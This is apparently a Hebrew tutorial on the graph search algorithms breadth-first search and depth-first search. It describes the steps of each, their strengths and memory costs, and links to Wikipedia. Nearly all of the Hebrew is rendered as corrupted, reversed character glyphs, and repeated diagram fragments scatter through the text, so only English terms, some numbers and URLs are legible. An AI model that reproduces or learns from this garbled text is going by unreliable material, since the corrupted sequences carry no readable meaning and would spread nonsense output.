˱˶ˠ  ˣˢ˷˪˩ ˧˪˪˩) ˸ˣ˞˟ ˣ˸ˣ˞ ˭ˬ˯ˮG ( ˫˧˸ˬ˴ ˸˴ˣ˟˵ ˪˧˩ˬˢ ˢˮ˟ˬ ˞ˣˢV  ˭ˬ˯ˮ˷ ˸ˣ˸˷˵ ˸˴ˣ˟˵ˣE .

˧ ˪˰ ˭ˬ˯ˮ ˸ˬˣ˴˪ˣˠ˧˰ ˧ˡ ,ˣ˵ ˧ˡ˧ ˪˰ ˸˷˵ˣ . ˭ˣˣ˧˩ ˫˰ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˸˷˵)˳˥ ˞ˣˢ ˣ˵ˢ ˤ˞ˣ (˭ˣˣ˧˩ ˞˪˪ ˣ˞ . ˪˩˪

ˢ˴˵ ˸ˣˡˣ˵ˮ ˧˸˷ ˷˧ ˸˷˵ ,˸ˣˮˣ˷ ˥˶˩ˢ˟ ˭ˮ˧˞˷. 

 

ˢ˞˶ˮ ˢˤ ˨˧˞ ?˫˧˦ˣ˷˲ ˫˧˲˶ˠ˪ ˸ˣ˞ˬˠˣˡ : 

a b
 

2 ˮˣˣ˩ˬ ˞˪ ˸˷˵ ˫˰ ˫˧˸ˬ˴ ˸˫ˢ˧ˮ˧˟ 

 

a b

 

2 ˮˣˣ˩ˬ ˸˷˵ ˫˰ ˫˧˸ˬ˴ ˸˫ˢ˧ˮ˧˟ 

 

 ˭˧˧ˮ˰ˬ ˣˢ˷ˬ˪ ˟˪ ˣˬ˧˷ï ˧˲ˣ˯ ˥˶˩ˢ˟ ˞˪ ˞ˣˢ ˱˶ˠ .˸˞ˤˬ ˢ˶˸˧ ,˧˲ˣ˯ ˞ˣˢ ˱˶ˠ ˶˷˞˩ , ˪ˣ˩˧ ˭˧˧ˡ˰ ˞ˣˢ

ˡˣ˞ˬ ˪ˣˡˠ ˸ˣ˧ˢ˪ .˫˧˲˶ˠ˩ ˸ˣ˧˰˟ ˠˣ˴˧ ˪˰ ˫˧˶˟ˡˬ ˣˮ˥ˮ˞˷˩ ˸ˣ˧˶˵˧˰ˢ ˸ˣ˧˰˟ˢ ˸˥˞ ˣˤ , ˢ˞˶ˮ˷ ˧˲˩

˨˷ˬˢ˟. 

 

˥ˮ˞˷ ˢ˧˰˟ ˫˧ˠ˴˧˧ˬ ˨˧˞ ˣˮ˞˶ˢ ˫ˡˣ˵ˢ ˶ˬ˞ˬ˟˱˶ˠ ˶ˣ˸˟ ˶ˣ˸˲˪ ˫˧˴ˣ˶ ˣˮ: 

ˬ˴ ˟

ˢ˸˥˪˸˧

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶
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 ˡ˥˞˪ ˰˧ˠˢ˪ ˫˧˴ˣ˶ˣ ˧˸˪˥˸ˢ ˟˴ˬ˟ ˫˧˪˧˥˸ˬ ˣˮ˥ˮ˞)˪˩˪ ˣ˞ (ˢ˶˦ˬˢ ˧˟˴ˬ. 

 ˟˴ˬ˪ ˟˴ˬˬ ˶ˣ˟˰˪ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞˷ ˢ˥ˮˢ˟ï ˢˤ ˸˞ ˢ˷˰ˮ ˨˧˞ ? ˞˶˵ˮ˷ ˸ˣ˧˰˟ ˠˣ˯ˬ ˢ˧˰˟ ˪˰ ˶˟ˣˡˬ

˱˶ˠ ˨ˣ˸˟ ˷ˣ˲˧˥ .ˤ ˸ˣ˧˰˟ ˠˣ˯˪ ˫˧˟˶ ˫˧ˬ˸˧˶ˣˠ˪˞ ˫˧ˬ˧˧˵˫˸˪ˣ˰˲ ˭˲ˣ˞˟ˣ ˫ˢ˧˸ˣˮˣ˩˸˟ ˫˧ˮˣ˷ˢ ˢ. 

 ˫˧˲˶ˠˢ ˸˶ˣ˸ ˪˷ ˢ˧˶ˣ˞˧˸ˢˬ ˪˧˥˸ˮï  ˫˧˲˶ˠ ˣˮ˪ ˷˧) ˫˧ˮˣˣ˩ˬ ˞˪ ˣ˞ ˫˧ˮˣˣ˩ˬï  ˨˶ˣ˴˪ ˢˮ˷ˬ ˞˪ ˢˤ

ˠ˧˴ˮ˷ ˫˧ˮˣ˷˞˶ˢ ˫˧ˬ˸˧˶ˣˠ˪˞ˢ (ï ˢ˶˦ˬ ˸ˬˣ˴ ˸˞˧˴ˬ˪ ˡ˰ ˵ˣ˶˯˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷. 

 ˶˸ˣ˧˟ ˸ˣ˦ˣ˷˲ˢ ˸ˣ˦˧˷ˢˬ ˫˧˧˸˷)˶˸ˣ˧˟ ˸ˣ˶˩ˣˬˢˣ ( ˸ˣ˞˶˵ˮ˸˥˞ˢ Breadth-first search )˶ˣ˴˧˵˟ˣ 

BFS (ˢ˧ˮ˷ˢˣ Depth-first search )˶ˣ˴˧˵˟ˣ DFS.( 

 

 ˸˧˰˟"˱˶ˠ ˨ˣ˸˟ ˷ˣ˲˧˥" 

 

ˢ˧˰˟ˢ ˶ˣ˞˧˸: 

¶ ˭ ˣ˸ˮ ˱˶ˠ ˧˲ˣ˯ ˶˧˷˵ˣ G) . ˫˧˸ˬ˴ˢ ˪˩˪ ˰˧ˠˢ˪ ˶˷˲˞ ˣ˟˷ ˱˶ˠ ˞ˣˢ ˶˧˷˵ ˱˶ˠï  ˣ˧˪˞˷ ˸ˬˣ˴ ˭˧˞

˸ˣ˸˷˵ ˭˧˞.( 

¶ ˧ ˢ˸ ˸ˬˣ˴ ˢ˪˥˸ˢ ˧ˢ˷˪˩ ,ˢˮˬˬ ˪˧˥˸ˮ ˸˩˪˪ ˪˰ ˸ˣ˸˷˵ ,˸ˬˣ˴ˬ ˸ˬˣ˴˪ ,ˡ˰ ˶˵˟ˮ˷ ˸˞ ˪˩ 

˫˧˸ˬ˴ˢ. ˢ˶˦ˬˢ ˸ˬˣ˴ ˸˞ ˫˧˷˲˥ˬ ˣˮ˥ˮ˞ ˣˮ˪˷ ˢ˶˵ˬ˟ , ˣ˧˪˞ ˰˧ˠˮ˷ ˫˧˥ˣ˦˟ ˸ˣ˧ˢ˪ ˧ˡ˩ ˪˟˞ï 

˫˧˸ˬ˴ˢ ˪˩˟ ˶˵˟˪ ˫˧ˠˣ˯ˬ ˫ˢ˷ ˣˮ˪ ˥˧˦˟ˢ˪ ˫˧˩˧˶˴ ˫˧ˬ˸˧˶ˣˠ˪˞ˢ. 

¶ x ˮ˞ ˫˧˷˲˥ˬ ˫˸˧˶ˣˠ˪˞ ˥˧˦˟˧˷ ˣˮ˞˷ ˫˧˵˶ˣ˯ ˸˞ ˪˩ ˱˶ˠˢ ,˭˩ˣ ˢ˧ˢ˸˷ ˣˮ˪ ˢ˧˴˵˧ˡˮ˧˞ ˣˮˬ˧˧˯˷ 

˵ˣ˶˯˪ ˸˞ ˠˢ˱˶ ,˧˪˟ˬ ˸˰ˡ˪ ˢˬ˩ ˪ˣˡˠ ˞ˣˢ ˱˶ˠˢ) .˸ˮ˧˥˟ˬ ˸ˣˬ˩ ˫˧˸ˬ˴ ˸ˣ˸˷˵ˣ.( 

 

˸ˣ˪˟ˠˢ: 

¶ x ˮ˞ ˫˧˪˰ˣ˲ ˞˪˪ ˭ˣˮ˩˸ ˫ˡ˵ˣˬ ,˪˷ˬ˪ ˸ˡ˧ˬ˪ "˸˲ˬ ˫˧˩˶ˡˢ "˪˷ ˱˶ˠˢ ˧ˮ˲˪ ˸˪˥˸ˢ ˶ˣ˧˯ˢ ,ˣˮ˞ 

˫˧˟˧˧˥ ˸˥˵˪ ˢ˦˪˥ˢ ˶˥˞ ˢ˦˪˥ˢ ,˭ˣˣ˧˩ˬ ˣˮ˞˷ ˫˧˪ˠˬ ˸˞ ˢˮ˟ˬ ˱˶ˠˢ ˵˶ ˨ˣ˸ ˧ˡ˩ ˢ˵˧˶˯ˢ. 

¶ sˮ˩ˮ ˫˷˟ ˫˧˶˟˰ˬ ˸˞ ˶ˣ˟˧˥ˢ˫˧ ˭˧˟ ˸ˣ˸˷˵ˢ ˫˧˸ˬ˴˪. 

 

˪˰ ˸ˮˬ ˪˩ˣˮ˷ ˞ˣ˴ˬ˪ ˫˸˧˶ˣˠ˪˞ ˶ˣ˸˲˧˷ ˸ˣ˧˰˟ xʕ ,ˣˮ˞ ˫˧˩˧˶˴ ˶˧˞˷ˢ˪ "˫˧ˮˣˬ˧˯ "˪˰ ˫˧˶˟˰ˬˢ ˣˮ˞˷˩ 

˫˧˰ˮ ,˧ˡ˩ ˪˩ˣˮ˷ ˸ˣˢˤ˪ ˡ˧˸˰˟ ˣˮ˰ˠˢ˷ ˫ˣ˵ˬ˪ x˟ ˶˟˩ ˣˮ˧˧ˢ. 
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Breadth -first search 

 

˫˸˧˶ˣˠ˪˞ˢ: 

¶ ˧˸˪˥˸ˢˢ ˸ˬˣ˴ˬ ˪˥˸ˢ. 

¶  ˸ˬˣ˴ˢ ˪˷ ˫˧ˮ˩˷ˢ ˪˩ ˸˞ ˸˧˷˞˶ ˵ˣˡ˟ ˧˸˪˥˸ˢˢï ˸ˬˣ˴ˢˬ ˸˥˞ ˸˷˵ ˵˥˶ˬ˟˷ ˣ˪˞ . ˫˞

 ˭ˢ˟ ˞˴ˬˮ ˢ˶˦ˬˢï ˣ˸ˣ˞ ˶ˤ˥ˢ. 

¶  ˫˧ˮ˩˷ˢ ˪˷ ˫˧ˮ˩˷ˢ ˸˵˧ˡ˟˟ ˨˷ˬˢ") ˢˬ˶2 ("ï ˣ˸ˣ˞ ˶ˤ˥ˢ ˫˷ ˞˴ˬˮ ˢ˶˦ˬˢ ˸ˬˣ˴ ˫˞. 

¶ ˢ˶˦ˬˢ ˸˞˧˴ˬ˪ ˡ˰ ˸ˣ˟˩˷˟ ˨˧˷ˬˬ ˷ˣ˲˧˥ˢ ˢ˩˩) . ˢ˟ˣ˷˸ ˸˶ˤ˥ˢˣ ˱˶ˠˢ ˪˩ ˸˵˧˶˯ ˣ˞" ˭˧˞

˱˶ˠ˟ ˢ˶˦ˬ ˸ˬˣ˴(" 

 

ˬ˴ ˟

ˢ˸˥˪˸˧

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

 

 ˟˪˷1 - ˧˸˪˥˸ˢ ˟˴ˬ 

 

ˬ˴ ˟

ˢ˸˥˪˸˧

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

 

 ˟˪˷2 ï ˫˧ˮ˟ˢ ˪˷ ˢˮˣ˷˞˶ˢ ˢˬ˶ˢ ˸˞ ˣˮ˵˶˯ 
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ˬ˴ ˟

ˢ˸˥˪˸˧

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

 

 ˟˪˷3 ï  ˢˬ˶ˢ ˸˞ ˣˮ˵˶˯ˢ˧ˮ˷ˢ ˫˧ˮ˟ˢ ˪˷ 

 

˸ˣ˶˰ˢ: 

¶  ˫˸˧˶ˣˠ˪˞ˢ ˫˧˦ˣ˦˶˷˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˣˬ˩"˭ˬ˯ˬ "˶˵˧˟ ˫ˢ˟ ˫˧˸ˬ˴ˢ ˸˞ . ˫˧˪ˠ˰ˬ ˷˧ˣ ˢˡ˧ˬ˟

˱˶ˠ˟ ˟ˣ˷ ˫ˢ˟ ˶˵˟˧ ˞˪ ˞ˣˢ. 

¶  ˶˸ˣ˧ ˧˪ˬ˶ˣ˲ˣ ˶˸ˣ˧ ˟˩˶ˣˬ ˞˪ˬˢ ˫˸˧˶ˣˠ˪˞ˢï  ˶˧˟˰ˢ˪ ˧ˡ˩ ˢ˦ˣ˷˲ˢ ˢ˶ˡˠˢˢ ˪˰ ˫˧˶ˬˣ˷ ˣˮ˥ˮ˞

ˢ˟˧˷˥ˢ ˸˶ˣ˴ ˸˞. 

¶ ˫˧˲˶ˠ˟ ˫˧˸ˬ˴ˢ ˪˩ ˪˰ ˶ˣ˟˰˪ ˶ˣˬ˞˩ ˞˧ˢ ˢ˶˦ˬˢ ˫˸˧˶ˣˠ˪˞ˢ ˪˷ ˢ˪˧ˠ˶ˢ ˢ˯˶ˠ˟ . ˣˮ˥ˮ˞˷˩

˸˧˸ˣ˩˞˪ˬ ˢˮ˧˟ ˪˷ ˢ˧˰˟ ˶ˣ˟˰ ˷ˣˬ˧ˬ ˫˧˟˸ˣ˩ ,˫˧ˮ˷ˬ ˸ˣ˟ˣ˶˵ ˫˧˸˰˪  ˶ˣ˴˰˧˷ ˫˸˧˶ˣˠ˪˞ˢ ˸˞

˭ˣ˶˸˲ˢ ˞˴ˬˮ ˶˷˞˩. 

 

˸ˣˮ˧˧ˮ˰ˬ ˸ˣˮˣ˩˸ ˢˬ˩: 

¶ ˢ˶˦ˬ˪ ˶˸ˣ˧˟ ˶˴˵ˢ ˪ˣ˪˯ˬˢ ˸˞ ˞˴ˬˮ ˡ˧ˬ˸ ˣˮ˥ˮ˞ . ˫˧˩˧˶˴ˣ ˢ˧˰˟ ˶ˣ˸˲˪ ˫˧˯ˮˬ ˣˮ˥ˮ˞ ˫˞

 ˭ˣ˶˸˲˪ ˣˮ˸ˣ˞ ˞˧˟˸˷ ˸˧˪ˬ˧ˮ˧ˬˢ ˫˧˶ˣ˦˶˲ˣ˞ˢ ˸ˣˬ˩ ˸˞ ˞ˣ˴ˬ˪- BFS ˢˤ ˭ˣ˶˸˲ ˣˮ˪ ˭˸˧. 

¶  ˭ˣ˶˸˲ ˫˧˧˵ ˫˞ï ˣ˸ˣ˞ ˞˴ˬˮ ˥ˣ˦˟ .ˬ ˞˷ˣˮˢ˸˧˟˧˦˧˞ˣ˦ˮ˧˞ ˶ˣ˶˟ ˡˣ˞ , ˫˧˵˯˰˸ˬˢ ˶ˣ˟˰ ˪˟˞

ˢ˥˩ˣˢ ˢ˷˶ˡ˷ ˢ˟ˣ˷˥ ˢˡˣ˵ˮ ˣˤ ˫˧˲˶ˠˢ ˸˶ˣ˸˟. 

¶  ˢˬˣˡ ˭˲ˣ˞˟ï ˭ˣ˶˸˲ ˞˴ˬˮ ˞˪ ˫˞ ,˧˲ˣ˯ ˱˶ˠˢ ˫˞ˣ ,˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˭ˣ˶˸˲ ˭˧˞˷ ˰ˡˮ ˣˮ˥ˮ˞. 

 

ˢ˧ˡ˲˧˵˧ˣ˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˣ˪˷ ˸ˣˮˣ˩˸ˢˣ ˫˸˧˶ˣˠ˪˞ˢ ˪˰ ˢ˟˥˶ˢ : 

http://en.wikipedia.org/wiki/Breadth-first_search 

 

http://en.wikipedia.org/wiki/Breadth-first_search
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Depth-first search 

 

˶ˣ˵ˬ ˫˸˧˶ˣˠ˪˞ˢ ˞ˣˢ ˢ˞ˬ˟ s-19 ˢ˟ ˢ˷ˬ˧˷ ˸ˣˡˡˣˬ˸ˢ˪ ˪ˣˬ ˸ˣ˧˰˟ ˫˧˩ˣ˟ˬ. 

˫˸˧˶ˣˠ˪˞ˢ ˸˦˷˲ˣˬ ˢ˶ˣ˴˟: 

1. ˧˸˪˥˸ˢˢ ˸ˬˣ˴˟ ˪˥˸ˢ. 

2. ˱˶ˠ˟ ˫˧˶˟˰ˬˢ ˪˩ ˪˰ ˸˶˟˰ ˞˪ ˡˣ˰ ˪˩: 

a. ˬˣ˴˟ ˫˧˧˵ ˫˞ ˸˶˵˧˟ ˞˪ ˭˧˧ˡ˰ ˣ˟˷ ˶˟˰ˬ ˧˥˩ˣˮˢ ˸ï  ˞˴ˬˮ˷ ˸ˬˣ˴˪ ˨˷ˬˢˣ ˣ˟ ˶˵˟

˧ˮ˷ˢ ˡ˴˟. 

b.  ˫˧ˮˬˣ˯ˬ ˫˧˶˟˰ˬˢ ˪˩ ˫˞ï  ˢ˶ˣ˥˞ ˶ˣˤ˥ï back tracking ï  ˭ˣ˷˞˶ˢ ˸ˬˣ˴ˢ ˪˞

˫˷ˬ ˨˷ˬˢˣ ˭ˬˣ˯ˬ ˞˪ ˶˟˰ˬ ˣ˪ ˷˧˷ ˪ˣ˪˯ˬ˟. 

ˬ˴ ˟

ˢ˸˥˪˸˧

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

 

 ˟˪˷1 - ˧˸˪˥˸ˢ ˟˴ˬ 

 

ˬ˴ ˟

ˢ˸˥˪˸˧

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

 

 ˟˪˷2 ï  ˫˧ˮˣˣ˧˩ˢ ˡ˥˞˪ ˢˮˣ˲ ˫˸˧˶ˣˠ˪˞ˢï ˭ˣ˶˸˲ˢ ˪˷ ˭ˣˣ˧˩ˢ ˥˶˩ˢ˟ ˢˤ ˡ˧ˬ˸ ˞˪! 
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ˬ˴ ˟

ˢ˸˥˪˸˧

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

ˬ˴ ˟

˞˲˷˧˶

 

 ˟˪˷3 ï ˫ˡ˵˸ˢ˪ ˨˧˷ˬˬ ˫˸˧˶ˣˠ˪˞ˢ .ˣ˧˪˞ ˫ˡ˵˸ˢ˪ ˭ˣˣ˧˩ˢ ˸˞ ˶˥ˣ˟ ˞ˣˢ ˫˰˲ ˪˩˟ 

 

ˬ ˸ˣˮˣ˩˸˫˸˧˶ˣˠ˪˞ˢ: 

¶ ˥˶˩ˢ˟ ˞˪ ˣˮ˥ˮ˞  ˢ˶˦ˬ˪ ˶˸ˣ˧˟ ˶˴˵ˢ ˪ˣ˪˯ˬˢ ˸˞ ˞˴ˬˮ)ˤ ˸˞ ˸ˣ˞˶˪ ˪˵ ˫˧ˬ˧˧˵˷˩ ˪˷ˬ˪ ˢ2 

ˢ˶˦ˬ˪ ˫˧ˮˣ˷ ˫˧˩˶ˣ˞˟ ˫˧˪ˣ˪˯ˬ ,˨ˣ˶˞ˢ ˸˞ ˞˵ˣˣˡ ˶˥ˣ˟ ˫˸˧˶ˣˠ˪˞ˢˣ.( 

¶  ˭ˣ˶˸˲ ˫˧˧˵ ˫˞ï ˣ˸ˣ˞ ˞˴ˬˮ ˥ˣ˦˟ . ˢˬˣˡ ˭˲ˣ˞˟ï ˭ˣ˶˸˲ ˞˴ˬˮ ˞˪ ˫˞ ,˧˲ˣ˯ ˱˶ˠˢ ˫˞ˣ , ˣˮ˥ˮ˞

˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˭ˣ˶˸˲ ˭˧˞˷ ˰ˡˮ. 

 

ˢ˧ˡ˲˧˵˧ˣ˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˣ˪˷ ˸ˣˮˣ˩˸ˢˣ ˫˸˧˶ˣˠ˪˞ˢ ˪˰ ˢ˟˥˶ˢ : 

http://en.wikipedia.org/wiki/Depth-first_search 

 

http://en.wikipedia.org/wiki/Depth-first_search
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 ˫˧ˬ˸˧˶ˣˠ˪˞ˢˬ ˧ˬ ˤ˞"˟ˣ˦ "˶˸ˣ˧ ?ˣˡˣ˵˟ ˫˧ˬ˸˧˶ˣˠ˪˞ˢ ˸˞ ˫˧˷ˬˬˬ ˨˧˞? 

 

˸ˮ˧˧ˮ˰ˬˢ ˢˡˣ˵ˮ˪ ˫˧˰˧ˠˬ ˣˮ˥ˮ˞ . ˪˷ ˸ˣˮˣ˩˸ˢˬ ˣ˧ˮ˲ ˪˰ ˢ˞˶ˮBFS  ˶˸ˣ˧ ˥˪˴ˣˬ ˡ˧ˬ˸ ˞ˣˢ˷ï  ˧ˮ˷

˭ˣ˶˸˲˪ ˫˧˰˧ˠˬ ˫˧ˬ˸˧˶ˣˠ˪˞ˢ ,-xBFS ˶˸ˣ˧ ˶˴˵ˢ ˪ˣ˪˯ˬˢ ˸˞ ˡ˧ˬ˸ ˶˧ˤ˥ˬ . ˸˞ ˨˧˶˴ ˪˪˩˟ ˢˬ˪DFS? 

 ˢ˧˪˰ ˸ˣˮ˰˪ ˢ˴˶ˮ˷ ˢ˪˞˷ ˡˣ˰ ˷˧ ˱˯ˣˮ˟ï  ˫˰˲ ˪˩ ˫ˡ˵˸ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞˷ ˫˧˥˧ˮˬ ˣˮ˥ˮ˞ ˫˴˰˟ ˢˬ˪

ˡ˥˞ ˟˪˷ ˵˶ ? ˶˷˲˞ ˧˞ ˢˬ˪"˪˩˸˯ˢ˪ "˭ˣ˶˸˲˪ ˶˷˧ ˳ˣ˲˵˪ˣ ˱˶ˠˢ ˪˰? 

˪˞ˢ ˸ˣ˪˞˷ˢ ˧˸˷˪ ˢ˟ˣ˷˸ˢˢ˶ˣ˷˵ ˣ : ˫˧˶˧˧˴ˬ ˣˮ˥ˮ˞ ˫˧˲˶ˠˢ ˸˶ˣ˸ ˪˷ ˢ˧˶ˣ˞˧˸ˢ ˪˰ ˫˧˶˟ˡˬ ˣˮ˥ˮ˞˷˩

ˣ ˫˧˲˶ˠ-"˫˧˞ˣ˶ "˫˧˧ˮ˧˰˟ ˫˸ˣ˞ . ˸ˣ˦ˣ˷˲ˢ ˸ˣ˞ˬˠˣˡˢˬ ˶ˣ˰˧˷ ˭˧˞˪ ˫˧˪ˣˡˠ ˶ˣ˴˧ˮ ˣˮ˥ˮ˞˷ ˫˧˲˶ˠˢ ˪˰ˣ˲˟

˫˧˶˧˧˴ˬ ˣˮ˥ˮ˞˷ .˭ˣ˶˩ˤ ˸˧˰˟ ˞˧ˢ ˸˧˶˵˧˰ˢ ˢ˧˰˟ˢ .˵˥˷ˬ ˶ˣ˟˰ ˱˶ˠ ˫˧ˮˣ˟ ˣˮ˥ˮ˞ ˪˷ˬ˪ ˥˧ˮˮ , ˪˩ ˣ˟˷

˵˥˷ˬ˟ ˟˴ˬ ˸ˬˣ˴˩ ˠ˴ˣ˧ˬ ,˵˥˷ˬ˟ ˸ˣ˦˪˥ˢ ˫˧ˮ˧˧˴ˬ ˫˧˶˟˰ˬˢˣ .ˬ ˡ˥˞ ˪˩ ˤ˧ˤˢ˪ ˶˷˲˞ ˫˞-20 ˪ ˫˧˪˩-

4 ˫˧ˮˣˣ˧˩ . ˢˤ˩ ˢ˶˵ˬ˟ï  ˣ˧ˢ˧ ˟˴ˬ ˪˩˪80  (!!!)˫˧ˮ˟ ˫˧˸ˬ˴ . 

 ˵˶ ˵ˣˡ˟ˮ ˫˞3 ˢ˦ˬ˪ ˸ˣˬ˶ , ˣ˧ˢ˧82,432,000 ˫˧˟˴ˬ !˭ˣ˧˪ˬ ˫˧˧ˮ˷ˣ ˫˧ˮˣˬ˷ !˸˲˯ˣˮ ˢˬ˶ ˵ˣˡ˟ˮ ˫˞ , ˫ˠ

 ˧ˡ˧ ˪˰ ˠ˴ˣ˧˧ ˟˴ˬ ˪˩ ˫˞byte ˡˡˣ˟ ,˟˷˥ˬ˟ ˭ˣ˶˩ˤˢ ˶˟˩ ˣˮ˪ ˶ˬˠ˧ . ˣˮ˥ˮ˞˷ ˨˩ ˫˞ ˭ˣ˷˞˶ˢ ˞˷ˣˮˢ

 ˞ˣˢ ˣ˧˪˞ ˫˧˯˥˧˧˸ˬ ˫ˣ˵ˬˢ ˸ˣ˧˩ˣ˟˧˯)˭ˣ˶˩ˤ (˫˸˧˶ˣˠ˪˞ˢ ˪˷. 

 

 ˣ˧˷˩˰ï ˫˧ˬ˸˧˶ˣˠ˪˞ˢ ˸˞ ˫˧˷ˬˬˬ ˣˮ˥ˮ˞ ˫˴˰˟ ˨˧˞ ? ˫˧˥˵ˣ˪ ˣˮ˥ˮ˞˷ ˫˰˲ ˪˩˟ ˞ˣˢ ˪˟ˣ˵ˬˢ ˷ˣˬ˧ˬˢ

˸ˬˣ˴ ,ˣ˪˷ ˫˧ˮ˟ˢ ˡ˥˞˪ ˯ˮ˩ˢ˪ ˫˧˶˥ˣ˟ˣ ,ˬ˪ ˫˧˯ˮ˩ˮ ˫˧ˮ˟ˢ ˶˞˷ ˸˧ˮ˯˥ˬ ˪˷ ˫˧ˮˣ˸ˮ ˢˮ˟)ˢˬ˧˶˰ ˣ˞ .(

˫ˣ˸˯ ˧ˣ˟ˬ˪ ˣˮ˰ˠˢ ˶˷˞˩ ,˫˷ˬ ˞˟ˢ ˸ˬˣ˴ˢ ˸˞ ˫˧˥˵ˣ˪. 

¶ BFS  ˢˬ˶ˢ ˪˩ ˸˞ ˫˰˲ ˪˩˟ ˥˸˲˧)ˣ˧˸˥˸ˬ˷ ˫˧ˮ˟ˢ (ˢ˞ˣ˪ˬ˟ ,˸˧ˮ˯˥ˬ˪ ˫˪ˣ˩ ˸˞ ˯˧ˮ˩˧ ,

ˢ˞˟ˢ ˢˬ˶˪ ˨˧˷ˬ˧ˣ .DFS ˫˧ˮ˟ˢ ˸˞ ˥˸˲ˬ ˸˞ˤ ˸ˬˣ˰˪ ,˥ˣ˸˧˲˪ ˫ˢˬ ˡ˥˞ ˵˶ ˶˥ˣ˟ˣ. 

¶ ˸˶˞˧˸˷ ˰ˠˣ˷ˬˢ ˵˥˷ˬˢ ˪˷ ˢ˶˵ˬ˟ˢ˪˰ˬ˪ ˧ ,DFS  ˸˧ˮ˯˥ˬ˪ ˟˪˷ ˪˩˟ ˯˧ˮ˩˧80  ˫˧˸ˬ˴

 ˫˧˷ˡ˥)˞˴ˣˬ ˞˪˪ ˫ˣ˵ˬ˪ ˰˧ˠˬ ˣ˞ ˸ˬˣ˴ ˭ˬ˯ˬ ˞ˣˢ˷˩ ˸˧˥˲˧ ˧˪ˣ˞ˣ( , ˣ˪˧˞ˣBFS  ˯˧ˮ˩˧80N
 

˫˧˸ˬ˴ ,˷˩-N ˢ˵˧˶˯ˢ ˪˷ ˸˧˥˩ˣˮˢ ˢˬ˶ˢ ˞ˣˢ. 

 

 ˢ˧ˮ˷ ˢ˟ˣ˷˥ ˢ˪˞˷ï ˢ˟ˣ˷˸ ˶˧ˤ˥ˢ˪ ˫˸˧˶ˣˠ˪˞ ˪˩˪ ˥˵ˣ˪ ˭ˬˤ ˢˬ˩ ? ˞˷ˣˮˢ ˭˞˩ ˧˲ˣ˞˪ ˫˞˸ˢ˟ ˢˮ˸˷ˬ

 ˢ˧˰˟ˢï ˡˣ˞ˬ ˵ˣˬ˰ ˱˶ˠˢ ˫˞ , ˢˬ˶˟ ˞˴ˬˮ ˭ˣ˶˸˲ˢ ˪˟˞2 ï  ˤ˞BFS  ˪˰ ˶˟˰ˬ˟ ˣ˸ˣ˞ ˞˴ˬ˧ ˡ˧ˬ˸

ˢ˧ˮ˷ˢ ˢˬ˶ˢ ,˪ ˣ˪˧˞ˣ-DFS  ˟˶ ˭ˬˤ ˥˵˧ .˫˧ˮ˟˟ ˞˴ˬˮ ˭ˣ˶˸˲ˢ ˫˞ , ˞˵ˣˣˡ˷ ˭˩˸˧DFS ˶˸ˣ˧ ˪˧˰˧ ˢ˧ˢ˧ . ˞˪

 ˧˟ˣ˷˧˥ ˪˩˪ˣ ˢ˵˧˦ˬ˸ˬ˪ ˢˤ ˶ˬ˞ˬ˟ ˯ˮ˩ˮ˭ˬˤˢ ˸ˣ˧˩ˣ˟˧˯ ˬ˸˧˶ˣˠ˪˞ˢ ˪˷˫˧ , ˢˡˣ˵ˮ ˦˪˥ˢ˟ ˣˤ ˪˟˞

ˢ˟ˣ˷˥. 
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˟ˣ˦ ˶˸ˣ˧ ˫˧ˬ˸˧˶ˣˠ˪˞ˢˬ ˧ˬ ? ˞˧ˢ ˢ˟ˣ˷˸ˢ"ˢ˧˰˟˟ ˧ˣ˪˸ ."˸˞ˤˬ ˢ˶˸˧ , ˣ˪˞ ˫˧ˬ˸˧˶ˣˠ˪˞ ˧ˮ˷ ˡ˟˪ˬ

˫˧˲˯ˣˮ ˫˧ˬ˸˧˶ˣˠ˪˞ ˶ˣ˲˯ ˭˧˞ ˫˧ˬ˧˧˵ . ˣˠ˴ˣˢ˷ ˫˧ˬ˸˧˶ˣˠ˪˞˟ ˸ˣ˧˰˟ ˫˧˶˸ˣ˲ ˫˵˪˥ï  ˸ˣ˷˧ˠ ˫˧ˠ˧˴ˬ ˫˵˪˥ˣ

˭˧˦ˣ˪˥˪ ˸ˣˮˣ˷ . ˢ˧˰˟ˢ ˢ˸ˣ˞ ˞˧ˢ ˢ˶˵ˬ ˪˩˟ ˢ˧˰˟ˢï ˫˧˸ˬ˴ˢ ˪˩ ˷ˣ˲˧˥/ˢ˶˦ˬ ˸ˬˣ˴ (˱˶ˠ ˨ˣ˸˟. 

 

˫ˣ˧ˢ ˣˮ˧˞˶˷ ˢˬ˟ ˫˧˷ˬ˸˷ˬ ˨˧˞? 

 

 ˫ˠ˧˴ˢ˪ˣ ˫˧ˬ˸˧˶ˣˠ˪˞˪ ˟˧˟˯ˬ ˧˦ˬ˸ˬˢ ˰˵˶˪ ˸˧˯˥˧ ˦˰ˬ ˯ˮ˩ˢ˪ ˢ˪˞ ˫˧˶ˬ˞ˬ˟ ˧˸˧˯˧ˮ ˧˸˟˸˩˷ ˧˲˩

˩ ˶˸ˣ˧"ˢˡˣ˟˰ ˧˪˩ ."ˣ˧˷˩˰ ˡ˰ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞ ˢˬ? 

